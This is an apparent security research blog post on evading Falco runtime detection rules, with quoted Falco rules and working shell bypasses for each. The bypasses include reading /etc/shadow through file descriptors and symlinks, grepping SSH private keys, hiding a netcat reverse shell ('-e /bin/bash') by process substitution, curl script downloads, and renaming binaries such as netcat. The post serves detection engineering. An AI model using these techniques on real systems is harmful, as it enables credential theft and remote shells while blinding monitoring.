17 minutes
Falco - Evasion Techniques
Intro
This post demonstrates evasion techniques for several open-source Falco rules. We’ll examine general strategies for evasion and discuss writing more resilient rules.
For those new to Falco, the description from their project page sums it up as:
… a cloud-native security tool. It provides near real-time threat detection for cloud, container, and Kubernetes workloads by leveraging runtime insights. Falco can monitor events from various sources, including the Linux kernel, and enrich them with metadata from the Kubernetes API server, container runtime, and more.
Evasion Techniques
Silly me. It turns out that symlinks
and directory traversal
were already well known Falco evasion techniques. I’ll include them here for completeness, but focus on other techniques I’ve been playing with the last few days.
Let’s take a look!
File descriptors
The usage of file descriptors allows sensitive files to be read without directly referencing them. By associating file descriptors with sensitive files, one can reference the descriptor or create symlinks to these descriptors rather than the files themselves. Use file descriptors to avoid fd.name
matching.
root@UwUntu:~# exec 3</etc/shadow
root@UwUntu:~# ln -s /dev/fd/3 /tmp/shadow
root@UwUntu:~# cat /tmp/shadow
root:*:19790:0:99999:7:::
-- snip --
root@UwUntu:~# exec 3<&-
Escape characters
Escaping characters will break literal string matching, but won’t affect pattern matching in programs such as grep. Use escape characters to avoid matching proc.args
conditions.
# rule: Search Private Keys or Passwords
- macro: private_key_or_password
condition: >
(proc.args icontains "BEGIN PRIVATE" or
proc.args icontains "BEGIN OPENSSH PRIVATE" or
proc.args icontains "BEGIN RSA PRIVATE" or
proc.args icontains "BEGIN DSA PRIVATE" or
proc.args icontains "BEGIN EC PRIVATE" or
(grep_more and
(proc.args icontains " pass " or
proc.args icontains " ssh " or
proc.args icontains " user "))
)
vivi@UwUntu:~$ sudo grep -r 'BEGIN OPENSSH\ PRIVATE KEY' ~/.ssh/
/home/vivi.linux/.ssh/id_rsa:-----BEGIN OPENSSH PRIVATE KEY-----
vivi@UwUntu:~$ sudo strace grep -r 'BEGIN OPENSSH\ PRIVATE KEY' ~/.ssh/ 2>&1 | grep exec
execve("/usr/bin/grep", ["grep", "-r", "BEGIN OPENSSH\\ PRIVATE KEY", "/home/vivi.linux/.ssh/"], 0xffffdf133358 /* 13 vars */) = 0
Redirections
Before a command is executed, its input and output may be redirected using a special notation interpreted by the shell. Redirection allows commands’ file handles to be duplicated, opened, closed, made to refer to different files, and can change the files the command reads from and writes to.
https://www.gnu.org/software/bash/manual/html_node/Redirections.html
Avoid proc.cmdline
matching by using input redirections.
# rule: Launch Ingress Remote File Copy Tools in Container
- macro: curl_download
condition: (proc.name = curl and
(proc.cmdline contains " -o " or
proc.cmdline contains " --output " or
proc.cmdline contains " -O " or
proc.cmdline contains " --remote-name "))
In the case of curl, we can omit the output flags via output direction.
vivi@UwUntu:~$ curl http://127.0.0.1/meow.sh > meow.sh
Process substitution
Process substitution allows a process’s input or output to be referred to using a filename.
https://www.gnu.org/software/bash/manual/html_node/Process-Substitution.html
Avoid proc.cmdline
matching by using process substitution.
Bash process substitution creates a temporary file containing the arguments to be passed to a process. As the process accepts the arguments in the form of a reference to a file, rules that rely on matching command line arguments won’t work.
Let’s look at an example where attacker can use bash process substitution to avoid passing arguments directly to netcat.
# rule: Netcat Remote Code Execution in Container
--snip--
(proc.name = "nc" and (proc.cmdline contains " -e" or
proc.cmdline contains " -c")) or
--snip--
# Create a file containing the arguments
vivi@UwUntu:~$ echo "nc -nv 127.0.0.1 8000 -e /bin/bash" > /tmp/args.txt
vivi@UwUntu:~$ nc < <(cat /tmp/args.txt)
# Arguments passed on the cmdline
vivi@UwUntu:~$ sudo strace nc 127.0.0.1 8000 -e /bin/bash 2>&1 | grep exec
execve("/usr/bin/nc", ["nv", "127.0.0.1", "-e", "/bin/bash"], 0xffffca460770 /* 13 vars */) = 0
# Arguments passed as a file descriptor
sudo strace nc < <(cat args.txt) 2>&1 | grep exec
execve("/usr/bin/nc", ["nc"], 0xffffcdd9c010 /* 13 vars */) = 0
Masquerading
Renaming a binary prevents rules from matching proc.name
conditions. Simply renaming netcat
to meowcat
will break detections that rely on literal string matching.
# Launch Suspicious Network Tool in Container
- list: network_tool_binaries
items: [nc, ncat, netcat, nmap, dig, tcpdump, tshark, ngrep, telnet, mitmproxy, socat, zmap]
- macro: network_tool_procs
condition: (proc.name in (network_tool_binaries))
--snip--
vivi@UwUntu:~# cp /usr/bin/netcat /tmp/meowcat
vivi@UwUntu:~# meowcat 127.0.0.1 8000
Symlinks
If we use a symlink we can avoid filename and filepath matching.
vivi@UwUntu:~$ ln -s /dev/shm /tmp/shm_link
vivi@UwUntu:~$ /tmp/shm_link/payload.bin
Hello from payload
Directory traversal
Directory traversal is a method used to access files in different directories by using relative paths. The post shows how creating symlinks to directories like /tmp
and using relative path traversal can bypass rules looking for direct access to sensitive files like /etc/shadow
.
vivi@UwUntu:~$ cat ../../../../../../etc/shadow
vivi@UwUntu:~$ ln -s /home/vivi.linux /tmp/home
vivi@UwUntu:~$ cat /tmp/home/../../etc/shadow
vivi@UwUntu:~$ ln -s ../../../..// /tmp/root
vivi@UwUntu:~$ cat /tmp/root/etc/shadow
Evading Production Rules
https://github.com/falcosecurity/rules/blob/main/rules/falco_rules.yaml
Create Symlink Over Sensitive Files
- list: sensitive_file_names
items: [/etc/shadow, /etc/sudoers, /etc/pam.conf, /etc/security/pwquality.conf]
- list: sensitive_directory_names
items: [/, /etc, /etc/, /root, /root/]
- rule: Create Symlink Over Sensitive Files
desc: >
Detect symlinks created over a curated list of sensitive files or subdirectories under /etc/ or
root directories. Can be customized as needed. Refer to further and equivalent guidance within the
rule "Read sensitive file untrusted".
condition: >
create_symlink
and (evt.arg.target in (sensitive_file_names) or evt.arg.target in (sensitive_directory_names))
output: Symlinks created over sensitive files (target=%evt.arg.target linkpath=%evt.arg.linkpath evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
priority: WARNING
tags: [maturity_stable, host, container, filesystem, mitre_credential_access, T1555]
Bypass
The evt.arg.target in
statements do not evaluate relative paths.
vivi@UwUntu:~$ ln -s /home/vivi.linux /tmp/home
vivi@UwUntu:~$ sudo cat /tmp/home/../../etc/shadow
Apr 20 20:56:30 lima-falco-quickstart falco[6385]: 20:56:30.460967615: Warning Read monitored file via directory traversal (file=/etc/shadow fileraw=/tmp/home/../../etc/shadow gparent=sudo ggparent=bash gggparent=sshd evt_type=openat user=root user_uid=0 user_loginuid=501 process=cat proc_exepath=/usr/bin/cat parent=sudo command=cat /tmp/home/../../etc/shadow terminal=34821 container_id=host container_name=host)
Oops! This still triggers a different rule, Directory traversal monitored file read
.
Directory traversal monitored file read
- rule: Directory traversal monitored file read
desc: >
Web applications can be vulnerable to directory traversal attacks that allow accessing files outside of the web app's root directory
(e.g. Arbitrary File Read bugs). System directories like /etc are typically accessed via absolute paths. Access patterns outside of this
(here path traversal) can be regarded as suspicious. This rule includes failed file open attempts.
condition: >
(open_read or open_file_failed)
and (etc_dir or user_ssh_directory or
fd.name startswith /root/.ssh or
fd.name contains "id_rsa")
and directory_traversal
and not proc.pname in (shell_binaries)
enabled: true
output: Read monitored file via directory traversal (file=%fd.name fileraw=%fd.nameraw gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
priority: WARNING
tags: [maturity_stable, host, container, filesystem, mitre_credential_access, T1555]
We get past this creating a symlink to a relative directory.
vivi@UwUntu:~$ ln -s ../../../..// /tmp/root
vivi@UwUntu:~$ sudo cat /tmp/root/etc/shadow
vivi@UwUntu:~$
vivi@UwUntu:~$ sudo strace ln -s /etc/shadow /tmp/shadow 2>&1 | grep exec
execve("/usr/bin/ln", ["ln", "-s", "/etc/shadow", "/tmp/shadow"], 0xffffd235ab18 /* 13 vars */) = 0
vivi@UwUntu:~$ sudo strace ln -s ../../../etc/shadow /tmp/shadow 2>&1 | grep exec
execve("/usr/bin/ln", ["ln", "-s", "../../../etc/shadow", "/tmp/shadow"], 0xfffff3c53338 /* 13 vars */) = 0
Read sensitive file trusted after startup
- list: sensitive_file_names
items: [/etc/shadow, /etc/sudoers, /etc/pam.conf, /etc/security/pwquality.conf]
- list: sensitive_directory_names
items: [/, /etc, /etc/, /root, /root/]
- macro: sensitive_files
condition: >
((fd.name startswith /etc and fd.name in (sensitive_file_names)) or
fd.directory in (/etc/sudoers.d, /etc/pam.d))
- rule: Read sensitive file trusted after startup
desc: >
An attempt to read any sensitive file (e.g. files containing user/password/authentication
information) by a trusted program after startup. Trusted programs might read these files
at startup to load initial state, but not afterwards. Can be customized as needed.
In modern containerized cloud infrastructures, accessing traditional Linux sensitive files
might be less relevant, yet it remains valuable for baseline detections. While we provide additional
rules for SSH or cloud vendor-specific credentials, you can significantly enhance your security
program by crafting custom rules for critical application credentials unique to your environment.
condition: >
open_read
and sensitive_files
and server_procs
and not proc_is_new
and proc.name!="sshd"
and not user_known_read_sensitive_files_activities
output: Sensitive file opened for reading by trusted program after startup (file=%fd.name pcmdline=%proc.pcmdline gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
priority: WARNING
tags: [maturity_stable, host, container, filesystem, mitre_credential_access, T1555]
Bypass
We can use a file descriptor to avoid matching the sensitive_files
macro.
root@UwUntu:~# exec 3</etc/shadow
root@UwUntu:~# ln -s /dev/fd/3 /tmp/shadow
root@UwUntu:~# cat /tmp/shadow
root:*:19790:0:99999:7:::
-- snip --
root@UwUntu:~# exec 3<&-
Netcat Remote Code Execution in Container
- rule: Netcat Remote Code Execution in Container
desc: >
Netcat Program runs inside container that allows remote code execution and may be utilized
as a part of a variety of reverse shell payload https://github.com/swisskyrepo/PayloadsAllTheThings/.
These programs are of higher relevance as they are commonly installed on UNIX-like operating systems.
Can fire in combination with the "Redirect STDOUT/STDIN to Network Connection in Container"
rule as it utilizes a different evt.type.
condition: >
spawned_process
and container
and ((proc.name = "nc" and (proc.cmdline contains " -e" or
proc.cmdline contains " -c")) or
(proc.name = "ncat" and (proc.args contains "--sh-exec" or
proc.args contains "--exec" or proc.args contains "-e " or
proc.args contains "-c " or proc.args contains "--lua-exec"))
)
output: Netcat runs inside container that allows remote code execution (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
priority: WARNING
tags: [maturity_stable, container, network, process, mitre_execution, T1059]
Bypass
The proc.cmdline contains
statements are insufficient to detect process arguments. We can use process direction to avoid matching this rule.
vivi@UwUntu:~$ echo "nc -nv 127.0.0.1 8000 -e /bin/bash" > /tmp/args.txt
vivi@UwUntu:~$ nc < <(cat /tmp/args.txt)
Search Private Keys or Passwords
- macro: private_key_or_password
condition: >
(proc.args icontains "BEGIN PRIVATE" or
proc.args icontains "BEGIN OPENSSH PRIVATE" or
proc.args icontains "BEGIN RSA PRIVATE" or
proc.args icontains "BEGIN DSA PRIVATE" or
proc.args icontains "BEGIN EC PRIVATE" or
(grep_more and
(proc.args icontains " pass " or
proc.args icontains " ssh " or
proc.args icontains " user "))
)
- rule: Search Private Keys or Passwords
desc: >
Detect attempts to search for private keys or passwords using the grep or find command. This is often seen with
unsophisticated attackers, as there are many ways to access files using bash built-ins that could go unnoticed.
Regardless, this serves as a solid baseline detection that can be tailored to cover these gaps while maintaining
an acceptable noise level.
condition: >
spawned_process
and ((grep_commands and private_key_or_password) or
(proc.name = "find" and (proc.args contains "id_rsa" or
proc.args contains "id_dsa" or
proc.args contains "id_ed25519" or
proc.args contains "id_ecdsa"
)
))
output: Grep private keys or passwords activities found (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
priority:
WARNING
tags: [maturity_stable, host, container, process, filesystem, mitre_credential_access, T1552.001]
Bypass
We can evade proc.args icontains
via escape characters:
grep -r 'BEGIN OPENSSH\ PRIVATE KEY' ~/.ssh/
or by loading a pattern from a file:
grep -rf pattern.txt ~/.ssh/
Find AWS Credentials
- macro: private_aws_credentials
condition: >
(proc.args icontains "aws_access_key_id" or
proc.args icontains "aws_secret_access_key" or
proc.args icontains "aws_session_token" or
proc.args icontains "accesskeyid" or
proc.args icontains "secretaccesskey")
- rule: Find AWS Credentials
desc: >
Detect attempts to search for private keys or passwords using the grep or find command, particularly targeting standard
AWS credential locations. This is often seen with unsophisticated attackers, as there are many ways to access files
using bash built-ins that could go unnoticed. Regardless, this serves as a solid baseline detection that can be tailored
to cover these gaps while maintaining an acceptable noise level. This rule complements the rule "Search Private Keys or Passwords".
condition: >
spawned_process
and ((grep_commands and private_aws_credentials) or
(proc.name = "find" and proc.args endswith ".aws/credentials"))
output: Detected AWS credentials search activity (proc_pcmdline=%proc.pcmdline proc_cwd=%proc.cwd group_gid=%group.gid group_name=%group.name user_loginname=%user.loginname evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
priority: WARNING
tags: [maturity_stable, host, container, process, aws, mitre_credential_access, T1552]
Bypass
We can evade proc.args icontains
via escape characters:
grep -r '\accesskeyid' ~/
or by loading a pattern from a file:
grep -rf pattern.txt ~/
Evading Incubating Rules
https://github.com/falcosecurity/rules/blob/main/rules/falco-incubating_rules.yaml
Launch Ingress Remote File Copy Tools in Container
- list: ingress_remote_file_copy_binaries
items: [wget]
- macro: ingress_remote_file_copy_procs
condition: (proc.name in (ingress_remote_file_copy_binaries))
# Users should overwrite this macro to specify conditions under which a
# Custom condition for use of ingress remote file copy tool in container
- macro: user_known_ingress_remote_file_copy_activities
condition: (never_true)
- macro: curl_download
condition: (proc.name = curl and
(proc.cmdline contains " -o " or
proc.cmdline contains " --output " or
proc.cmdline contains " -O " or
proc.cmdline contains " --remote-name "))
- rule: Launch Ingress Remote File Copy Tools in Container
desc: >
Detect ingress remote file copy tools (such as curl or wget) launched inside containers. This rule can be
considered a valuable auditing tool, but it has the potential to generate notable noise and requires careful
profiling before full operationalization.
condition: >
spawned_process
and container
and (ingress_remote_file_copy_procs or curl_download)
and not user_known_ingress_remote_file_copy_activities
output: Ingress remote file copy tool launched in container (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
priority: NOTICE
tags: [maturity_incubating, container, network, process, mitre_command_and_control, TA0011]```
Bypass
The curl_download
macro has insufficient cmdline argument matching. An attacker could use spicy shell commands to avoid triggering this rule, such as:
-
Redirection
curl http://127.0.0.1/meow.sh > meow.sh
cat <(curl http://127.0.0.1/meow.sh) > meow.sh
-
Pipe
curl http://127.0.0.1/meow.sh | tee meow.sh
-
Variable
content=$(curl -s http://127.0.0.1/meow.sh); echo "$content" > meow.sh
echo "$(curl http://127.0.0.1/meow.sh)" > meow.sh
Read environment variable from /proc files
- list: known_binaries_to_read_environment_variables_from_proc_files
items: [scsi_id, argoexec]
- rule: Read environment variable from /proc files
desc: >
An attempt to read process environment variables from /proc files. The consequences are akin to accessing traditional
sensitive files, as sensitive data, including secrets, might be stored in environment variables. Understanding your
environment, such as identifying critical namespaces, and incorporating extra filtering statements to alert exclusively
for those, can enhance the rule's effectiveness.
condition: >
open_read
and container
and (fd.name glob /proc/*/environ)
and not proc.name in (known_binaries_to_read_environment_variables_from_proc_files)
output: Environment variables were retrieved from /proc files (file=%fd.name gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
priority: WARNING
tags: [maturity_incubating, container, filesystem, process, mitre_discovery, T1083]
Bypass
Abuse proc.name
matching by renaming the binary to an allowlisted process, such as argoexec
. Since the rule doesn’t check the filepath of argoexec
it can be placed anywhere on the system.
vivi@UwUntu:~$ cp /usr/bin/cat /tmp/argoexec
vivi@UwUntu:~$ strace /tmp/argoexec /proc/3852/environ 2>&1 | grep exec
execve("/tmp/argoexec", ["/tmp/argoexec", "/proc/3852/environ"], 0xffffce84ced8 /* 24 vars */) = 0
Modify Shell Configuration File
- rule: Modify Shell Configuration File
desc: >
Detect attempts to modify shell configuration files, primarily aimed at establishing persistence by automatically inserting
commands into scripts executed by shells. The upstream rule excludes shell processes because they often create unnecessary noise.
However, this might lead to missed detections. To customize the rule for your situation, you can fine-tune it using enhanced profiling.
For example, you might want to only consider interactive shell processes (where proc.tty != 0).
condition: >
open_write
and (fd.filename in (shell_config_filenames) or
fd.name in (shell_config_files) or
fd.directory in (shell_config_directories))
and not proc.name in (shell_binaries)
and not exe_running_docker_save
and not user_known_shell_config_modifiers
output: A shell configuration file has been modified (file=%fd.name pcmdline=%proc.pcmdline evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
priority:
WARNING
tags: [maturity_incubating, host, container, filesystem, mitre_persistence, T1546.004]
Bypass
Use a symlink or a file descriptor.
vivi@UwUntu:~$ ln -s /home/vivi.linux/.bashrc /tmp/bashrc
vivi@UwUntu:~$ vim /tmp/bashrc
Schedule Cron Jobs
- macro: user_known_cron_jobs
condition: (never_true)
- rule: Schedule Cron Jobs
desc: >
Detect scheduled cron jobs; this is a highly generic detection and certainly needs adjustments and profiling in your environment before
operationalization. Simultaneously, exploiting the functionality of cron jobs is among one of the oldest TTPs used by adversaries.
condition: >
((open_write and fd.name startswith /etc/cron) or
(spawned_process and proc.name = "crontab"))
and not user_known_cron_jobs
output: Cron jobs were scheduled to run (file=%fd.name evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
priority:
NOTICE
tags: [maturity_incubating, host, container, filesystem, mitre_execution, T1053.003]
Bypass
Use a symlink or a file descriptor.
root@UwUntu:~$ exec 3</etc/crontab
root@UwUntu:~$ vim /dev/fd/3
root@UwUntu:~$ exec 3<&-
Launch Remote File Copy Tools in Container
- list: remote_file_copy_binaries
items: [rsync, scp, sftp, dcp]
- macro: remote_file_copy_procs
condition: (proc.name in (remote_file_copy_binaries))
# Users should overwrite this macro to specify conditions under which a
# Custom condition for use of remote file copy tool in container
- macro: user_known_remote_file_copy_activities
condition: (never_true)
- rule: Launch Remote File Copy Tools in Container
desc: >
Detect remote file copy tools (like rsync, scp, sftp, dcp) launched within a container, potentially indicating data
exfiltration. Suggest refining this rule to accommodate legitimate use cases.
condition: >
spawned_process
and container
and remote_file_copy_procs
and not user_known_remote_file_copy_activities
output: Remote file copy tool launched in container (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
priority: NOTICE
tags: [maturity_incubating, container, network, process, mitre_exfiltration, T1020]
Bypass
Rename the binaries before staging.
vivi@UwUntu:~# meowsync ...
Launch Suspicious Network Tool in Container
- rule: Launch Suspicious Network Tool in Container
desc: >
Detect network tools (like netcat, nmap, tcpdump, socat, and more) launched within containers without any additional filters.
This serves as a valuable general detection, but it's recommended to invest engineering effort to fine-tune it and prevent a
high volume of legitimate logs. This rule complements the more specific "Netcat Remote Code Execution in Container" rule.
condition: >
spawned_process
and container
and network_tool_procs
and not user_known_network_tool_activities
output: Network tool launched in container (evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags %container.info)
priority: NOTICE
tags: [maturity_incubating, container, network, process, mitre_execution, T1059]
Bypass
Rename the binaries before staging.
vivi@UwUntu:~# meowcat 127.0.0.1 8000
Adding ssh keys to authorized_keys
- rule: Adding ssh keys to authorized_keys
desc: >
After gaining access, attackers can modify the authorized_keys file to maintain persistence on a victim host.
Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve
privilege escalation on the target virtual machine if they add a key to a higher-privileged user.
This rules aims at detecting any modification to the authorized_keys file, that is usually located under the .ssh
directory in any user's home directory. This rule complements the more generic auditing rule "Read ssh information"
by specifically detecting the writing of new, potentially attacker-provided keys.
condition: >
open_write
and (user_ssh_directory or fd.name startswith /root/.ssh)
and fd.name endswith authorized_keys
and not proc.name in (ssh_binaries)
output: Adding ssh keys to authorized_keys (file=%fd.name evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty)
priority: WARNING
tags: [maturity_incubating, host, filesystem, mitre_persistence, T1098.004]
Bypass
Use a symlink or a file descriptor.
vivi@UwUntu:~$ exec 3</root/.ssh/authorized_keys
vivi@UwUntu:~$ vim /dev/fd/3
vivi@UwUntu:~$ exec 3<&-
Oops! This will still trigger a different alert Read ssh information
!
Apr 21 10:40:13 lima-falco-quickstart falco[1426]: 10:40:13.766854799: Error ssh-related file/directory read by non-ssh program (file=/root/.ssh pcmdline=bash evt_type=openat user=root user_uid=0 user_loginuid=501 process=vim proc_exepath=/usr/bin/vim.basic parent=bash command=vim /dev/fd/3 terminal=34821 container_id=host container_name=host)
Read ssh information
- list: ssh_binaries
items: [
sshd, sftp-server, ssh-agent,
ssh, scp, sftp,
ssh-keygen, ssh-keysign, ssh-keyscan, ssh-add
]
- rule: Read ssh information
desc: >
This rule identifies attempts to read files within ssh directories using programs that are not related to ssh. It's a simple and
versatile detection method that works well alongside more specific rules focused on sensitive file access. You have a couple of
options for using this rule effectively: you can adjust the specialized rules to cover all the important scenarios and ensure
precedence in rule smatching for those, or you can analyze the combined view of ssh-related file access across various rules on
your downstream computing platform. Just like with other rules, you can narrow down monitoring to specific processes, or you can
limit it to interactive access only.
condition: >
(open_read or open_directory)
and (user_ssh_directory or fd.name startswith /root/.ssh)
and not user_known_read_ssh_information_activities
and not proc.name in (ssh_binaries)
output: ssh-related file/directory read by non-ssh program (file=%fd.name pcmdline=%proc.pcmdline evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty %container.info)
priority: ERROR
tags: [maturity_incubating, host, container, filesystem, mitre_collection, T1005]
Bypass
We can evade this with a combination of renamed binaries and file access via file descriptor.
root@UwUntu:~$ cp `which bash` /tmp/ssh
root@UwUntu:~$ /tmp/ssh
root@UwUntu:~$ cp `which vim` /tmp/scp
root@UwUntu:~$ exec 3</root/.ssh/authorized_keys
root@UwUntu:~$ /tmp/scp /dev/fd/3
root@UwUntu:~$ exec 3<&-
Mitigation
Avoid matching user controlled signals.
Rules that match on kernel controlled signals are more resilient than those that match user controlled signals. User controlled signals should be considered weak signals that are easily manipulated by an attacker.
For example, proc.name
is a weak signal because an unprivileged user can arbitrarily name programs to perform process masquerading. Instead, consider matching on the file path via fd.name
which includes the absolute path of the binary. In the case of the Read ssh information
rule, the ssh_binaries
macro should contain a list of absolute paths of trusted ssh binaries, and the rule should be adjusted to exclude matching file descriptors.
Unfortunately, in the case of relative paths, symlinks, and file descriptors, there isn’t much that can be done to avoid these evasion techniques. Falco needs to make changes to their agents to resolve these.
Summary
In this second part of our series on Falco evasion strategies, we examined several bypass techniques and applied them successfully to Falco rules.
Hopefully this has provided a deeper understanding of the complexity inherent in threat detection engineering.